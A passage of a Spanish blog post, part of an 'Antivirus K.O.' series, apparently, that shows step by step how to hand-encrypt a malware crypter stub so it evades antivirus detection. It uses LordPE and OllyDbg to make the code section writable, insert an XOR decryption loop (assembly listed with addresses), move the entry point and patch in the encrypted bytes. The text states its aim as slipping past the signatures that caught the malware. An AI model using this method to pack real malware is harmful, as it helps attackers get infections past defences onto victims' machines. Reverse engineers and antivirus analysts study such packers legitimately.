Name="List Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 6"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:8.0pt;
mso-para-margin-left:0cm;
line-height:107%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]--><!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--><div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com20tag:blogger.com,1999:blog-2707641124274171597.post-31587829560415958232013-05-06T00:19:00.000+02:002013-05-06T00:19:58.845+02:00Antivirus K.O. Cifrando un Malware a mano<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En estos tiempos de liberación de feromonas primaverales,
uno se da cuenta más que nunca del tiempo que se pierde preparando trabajos
extra-laborales. Puedes encerrarte en tu cuarto y pensar la manera idónea de
sacar un curso adelante, o sentarte en la terraza al sol, cerveza en mano y con
un toque etílico estimularte. Yo como ya saben, soy más de lo segundo,
inclusive podemos decir que medito con más soltura incluyendo en mi navegador,
pestañas abiertas entre las que la temática, poco o nada tienen que ver con mi
objetivo. Fuente de distracción para otros, para mí inspiración ante la a veces
insufrible temática que nos ocupa.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esta entrada surge como complemento a las anteriores sagas
de Antivirus K.O., y más bien se trata de simular el funcionamiento de un
crypter pero de una forma manual, insertando una rutina en un malware cifrado,
que descifre en su ejecución el código en memoria.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Este método es útil para cifrar secciones completas, con lo
que el primer paso sería identificar la sección o secciones de código ejecutable,
normalmente conocida como la sección <i>text</i>,
aunque dependiendo del lenguaje y compilación este nombre puede variar.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Se tratará el stub de un crypter público, llamado <i>OP Crypter de Xash</i>, el cual descargue su
código fuente en Delphi de internet, lo compilé y empecé a trabajar sobre este.
En la siguiente imagen, se muestra como mediante <b>LordPE</b>, aparecen todas las secciones.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWyAHdW1fQ6-YJffClEF2AUB4xjA3zJjNy7ognK2-Km4cmCnF7EIU-6erHswQ6sQ0kbHGRzTEeLLIXgY82q_8gN99OC0Nku1Pa8Ky93DL-m-R8OtLHGNPylJF_a-UoNZxclhDggJfRtscm/s1600/Antivirus+K.O.+Cifrando+un+Malware+a+mano+1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWyAHdW1fQ6-YJffClEF2AUB4xjA3zJjNy7ognK2-Km4cmCnF7EIU-6erHswQ6sQ0kbHGRzTEeLLIXgY82q_8gN99OC0Nku1Pa8Ky93DL-m-R8OtLHGNPylJF_a-UoNZxclhDggJfRtscm/s1600/Antivirus+K.O.+Cifrando+un+Malware+a+mano+1.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esta imagen será importante para identificar el tamaño de la
sección CODE, pues será parte de esta la que cifraremos. La suma en hexadecimal
de las direcciones contenidas en <b>ROffset</b>
(El inicio de la sección) y <b>RSize</b>
(El tamaño de la sección), coinciden con la del final de esta sección.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="font-family: Courier New, Courier, monospace;">400 + 4200 = 4600<o:p></o:p></span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Es posible verlo a simple vista con el valor contenido en el
<b>ROffset</b> de la siguiente sección <b>DATA</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Contando con algo de suerte, entre el alineamiento de ambas
secciones, es posible hacerse con un pequeño espacio para incluir nuestra
rutina. Con lo que el siguiente paso, sería el de incluir el <b>Flag</b> de escritura a dicha sección. De
nuevo abriremos LordPE y en la sección CODE, haremos botón derecho “Edit
Section Header” y tildaremos el check.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipAQ1GJZxTbHjLDqxKp-lUltPsyVLM6Q4UOca23No_BB-Lf9zCfzNzjkNnLg_QAouw5bAvGOROYt1QPp6A_qRNib8NAxr4kMUwOI2yx9mAeWOSPS73XD9aUgHkqSNjYrWQW7jWyyD4xgx9/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipAQ1GJZxTbHjLDqxKp-lUltPsyVLM6Q4UOca23No_BB-Lf9zCfzNzjkNnLg_QAouw5bAvGOROYt1QPp6A_qRNib8NAxr4kMUwOI2yx9mAeWOSPS73XD9aUgHkqSNjYrWQW7jWyyD4xgx9/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B2.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Al guardar los
cambios en el ejecutable, ya estará listo para acceder a debuggearlo y buscar
el final de la sección CODE. Para realizar esta acción, se arrastrará el stub a
Ollydbg, y sobre el código clic sobre “View – Executable file”. Al presionar Ctrl+G,
se abrirá el buscador de Offsets e introduciremos <b>4600</b>. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYATaab4tld2HCNeaX87eYA04p_ToaDgsWSZrFro99H8oTCvrcOKtur77fp45t2xoDUrK14EmuozBRSCO2c2kKAewIvkMvrwjo4RQgrD9P52LNIT-_h-52FkVjJ9L5jySALWz10OyrfyCS/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYATaab4tld2HCNeaX87eYA04p_ToaDgsWSZrFro99H8oTCvrcOKtur77fp45t2xoDUrK14EmuozBRSCO2c2kKAewIvkMvrwjo4RQgrD9P52LNIT-_h-52FkVjJ9L5jySALWz10OyrfyCS/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B3.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si subimos hasta el final del código útil de la sección, será
posible presionar el botón derecho para acceder al código desensamblado.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggk8arIWAissAqcbr5sASSLrXEMoPh2ZAjMF4hJNDPrQqrZyt-5gvn0Fy4iJsMQUCNJ2_jvvz8MilQJk2JTnc-LTNIEVq1ee4sq0_rO4YGLOQ_CfC6CZQ3boV4mMkcCHrQ0wU2sagta9Kz/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggk8arIWAissAqcbr5sASSLrXEMoPh2ZAjMF4hJNDPrQqrZyt-5gvn0Fy4iJsMQUCNJ2_jvvz8MilQJk2JTnc-LTNIEVq1ee4sq0_rO4YGLOQ_CfC6CZQ3boV4mMkcCHrQ0wU2sagta9Kz/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B4.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En este caso hemos tenido suerte, ya que tenemos espacio
suficiente para introducir nuestra rutina. En caso de no tener hueco, podemos
utilizar <b>Topo v1.2</b>, o añadir una
sección nueva como hizo Francisco Oca en “<a href="http://el-blog-de-thor.blogspot.com.es/2011/08/cifrando-un-ejecutable-mano.html">Cifrando
un ejecutable a mano</a>” con <b>netcat</b>.
Así que sustituiré parte del espacio libre por <b>NOPs</b>. Desde la dirección de memoria <b>100050A6</b> hasta <b>100050D5</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzZneaFBuySzNDw2kbw21Fg513lRh4fPMb1OFHpYGGF1XeYRCNMOpKrf8B_nTZXPt33GWa3BS_MNtzrC5WYqGeebb6GIYWOLs8YTDju4du3zOtWyQej201STPEf-1ZCxQ1HF6PCfh-_qvG/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzZneaFBuySzNDw2kbw21Fg513lRh4fPMb1OFHpYGGF1XeYRCNMOpKrf8B_nTZXPt33GWa3BS_MNtzrC5WYqGeebb6GIYWOLs8YTDju4du3zOtWyQej201STPEf-1ZCxQ1HF6PCfh-_qvG/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B5.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">De tal manera, se dispondrá el espacio.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ8x0VqgGvxbbhCy45vg0I7uiW81j6OeIx7IUBKjc6OV-eSLgwihQjDozpg2-ektu7ZDDeS4IFhrXXdDz8AqM_uWpMuYt0Wp7kkXrUgiTi_DsgXJwHrJwOZ7DbhkwDaf46L6YFSunKgQme/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ8x0VqgGvxbbhCy45vg0I7uiW81j6OeIx7IUBKjc6OV-eSLgwihQjDozpg2-ektu7ZDDeS4IFhrXXdDz8AqM_uWpMuYt0Wp7kkXrUgiTi_DsgXJwHrJwOZ7DbhkwDaf46L6YFSunKgQme/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B6.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Para construir la rutina encargada del cifrado del
ejecutable, serán necesarios algunos datos, los cuales es posible encontrar
gracias a la primera imagen. Para convertir a partir de la posición del offset
desde el cual empezará nuestro cifrado, en dirección virtual, es posible utilizar
una simple fórmula matemática.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b>(Dirección física - ROffset) + VOffset + ImageBase </b><b>= DirecciónVirtual</b><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<b><span style="font-family: Courier New, Courier, monospace;">(400 – 400) + 1000 +
10000000 = 10001000<o:p></o:p></span></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><span style="font-family: Courier New, Courier, monospace;"><br /></span></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otro dato importante será hacerse con la dirección donde
finalizará el cifrado, en este caso he preferido incluir hasta cierta función
perteneciente a la sección CODE, en vez de cifrar toda la sección.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El siguiente código será el que incluiremos para realizar el
cifrado.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">mov eax,10001000h </span><span style="font-family: Courier New, Courier, monospace;">;Guardamos en eax
la dirección de inicio del código a cifrar<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">xor byte ptr ds:[eax],0FF </span><span style="font-family: Courier New, Courier, monospace;">;XOR FF a
la dirección actual<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">inc eax </span><span style="font-family: Courier New, Courier, monospace;">;Incrementamos el valor de
eax<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">cmp eax,10003967h </span><span style="font-family: Courier New, Courier, monospace;">;Comparamos si el
valor de eax es igual a 10003967<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">JNZ SHORT 100050AB</span><span style="font-family: Courier New, Courier, monospace;"> ;Saltamos de nuevo
a la instrucción XOR (Bucle)<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">jmp 10004FACh </span><span style="font-family: Courier New, Courier, monospace;">;Saltamos al Entry
Point<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Al incluir el código en el hueco, quedará de la siguiente
manera:</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFcAw2Sl6h68vneuDwR5uaXJLFE9BAm0HH6Gd649Bk-TaT6Ct-OH60QkfHr3NTM5QJoWMx53O-ikEA5QUyWU_PsfUgiK_gPn5WicIFumHeH5F-qO1JV5VNyPkXkZ-URemyYcmTv98lyU6X/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B7.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFcAw2Sl6h68vneuDwR5uaXJLFE9BAm0HH6Gd649Bk-TaT6Ct-OH60QkfHr3NTM5QJoWMx53O-ikEA5QUyWU_PsfUgiK_gPn5WicIFumHeH5F-qO1JV5VNyPkXkZ-URemyYcmTv98lyU6X/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B7.PNG" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Es ahora cuando necesitaremos que nuestra rutina se ejecute
en primera instancia, con lo que la manera más sencilla es redireccionar el <b>Entry Point</b> a la primera instrucción de
la misma, caso similar al que expliqué en “<a href="http://www.enelpc.com/2012/12/antivirus-ko-moviendo-el-entry-point.html">Moviendo
el Entry Point</a>”. Para eso, será útil LordPE y su opción de edición de este
campo. <b>50A6</b> será el nuevo punto de
entrada.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmS5kYhjbYVOfPfRFKghoArwEo8Q-7ZvjuFEnA3sqPeKBtjl4AgGozZ0bRpuXEhJy1Tkd4WfT_5AalNkbTqb8YE0MzBSzPPVgd5Wv3386tZv93HtKYzl-gdD8FwxjawC29Ds03qx3LYBIX/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmS5kYhjbYVOfPfRFKghoArwEo8Q-7ZvjuFEnA3sqPeKBtjl4AgGozZ0bRpuXEhJy1Tkd4WfT_5AalNkbTqb8YE0MzBSzPPVgd5Wv3386tZv93HtKYzl-gdD8FwxjawC29Ds03qx3LYBIX/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B8.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">De esta manera estará todo preparado para que la rutina
cifre la sección, con lo que introduciendo un <b>BreakPoint</b> en la última posición de nuestra rutina, se evitara el
salto al Entry Point original, consiguiendo así, dejar la ejecución del stub
parada justo al terminar la acción de cifrado.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd9UUna4G3vair3Hk8gJQp4o1RYtisSuffxYrb-fjFcQEwg5gu5ZE0c4xmHJjYKK3vN6C3ssun3m_3zV5D3CQ3SPK_nz_MGkk_aT3c9suaInJohikVSNsibH7bFEUYlxwb_WrT8gK1ppI0/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B9.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd9UUna4G3vair3Hk8gJQp4o1RYtisSuffxYrb-fjFcQEwg5gu5ZE0c4xmHJjYKK3vN6C3ssun3m_3zV5D3CQ3SPK_nz_MGkk_aT3c9suaInJohikVSNsibH7bFEUYlxwb_WrT8gK1ppI0/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B9.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si vamos arriba del todo, encontraremos el inicio de la
sección en la posición <b>10001000</b>
completamente cifrada. La siguiente imagen muestra el antes y el después de
pasar la rutina.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAoNh4pg-0ZXW9ghBxRTKdBj1TxmVnhdIwxVxO3r39v1Prvg-zRo7_6hbmONuf3CrzhKvJS_TDdcfnJkwwVRg7E-QftVToX3e4Zy4LWqhWBtc64zPOKYiP6ESev2xU8fzA6b7aaq820EY0/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B10.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAoNh4pg-0ZXW9ghBxRTKdBj1TxmVnhdIwxVxO3r39v1Prvg-zRo7_6hbmONuf3CrzhKvJS_TDdcfnJkwwVRg7E-QftVToX3e4Zy4LWqhWBtc64zPOKYiP6ESev2xU8fzA6b7aaq820EY0/s640/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B10.PNG" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Una de las partes más importantes viene en este momento,
pues necesitamos estar atentos para seleccionar y copiar todo el código cifrado
al portapapeles. Con lo que será necesario arrastrar el ratón desde la posición
<b><span style="font-size: 10.0pt; line-height: 107%;">10003967</span></b><span style="font-size: 10.0pt; line-height: 107%;"> hasta la <b>10001000</b>. Se
realizará una copia binaria.</span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFQ7UToIMWyfzbdC2svhGI72zzfI7J-TmbJTxskzhTV01Mzls3omBm7HuiX1RFnuAzbO63s0ZZmatq4exAfVv9GMzGYISmQ2M1k5BH11guWDK54ORebDxIe5TkUcTR6fXG_yOCPjLGQTF9/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B11.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFQ7UToIMWyfzbdC2svhGI72zzfI7J-TmbJTxskzhTV01Mzls3omBm7HuiX1RFnuAzbO63s0ZZmatq4exAfVv9GMzGYISmQ2M1k5BH11guWDK54ORebDxIe5TkUcTR6fXG_yOCPjLGQTF9/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B11.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si llevamos los datos copiados a un editor hexadecimal como <b>HxD</b>, podremos crear un archivo nuevo
con el código desde el cual copiar en este formato. Después se sustituirá desde
el Offset <b>400</b> hasta el <b>2D66</b> en el cual finaliza el cifrado,
sobre el ejecutable con la rutina insertada pero sin cifrar. Gracias a que <b>XOR</b> es un algoritmo reversible, al
ejecutarse el stub, este se descifrará en memoria y evitará las anteriores firmas
antivirus, por las cuales el malware era detectado.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTTF-4Zoy2i_k1GGJB52vu21WPCIQEop9N0ODOKqgjccvOBOSrCXag8qfONsC8DXIzNLek66dczGuohthSBU2xgnKCJ7LV2ntuJy4QFbSnZS44H1A9xr_e-f23ITXXBbKwdZ0z9bBq6rW8/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B12.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="491" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTTF-4Zoy2i_k1GGJB52vu21WPCIQEop9N0ODOKqgjccvOBOSrCXag8qfONsC8DXIzNLek66dczGuohthSBU2xgnKCJ7LV2ntuJy4QFbSnZS44H1A9xr_e-f23ITXXBbKwdZ0z9bBq6rW8/s640/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B12.PNG" width="640" /></a></span></div>
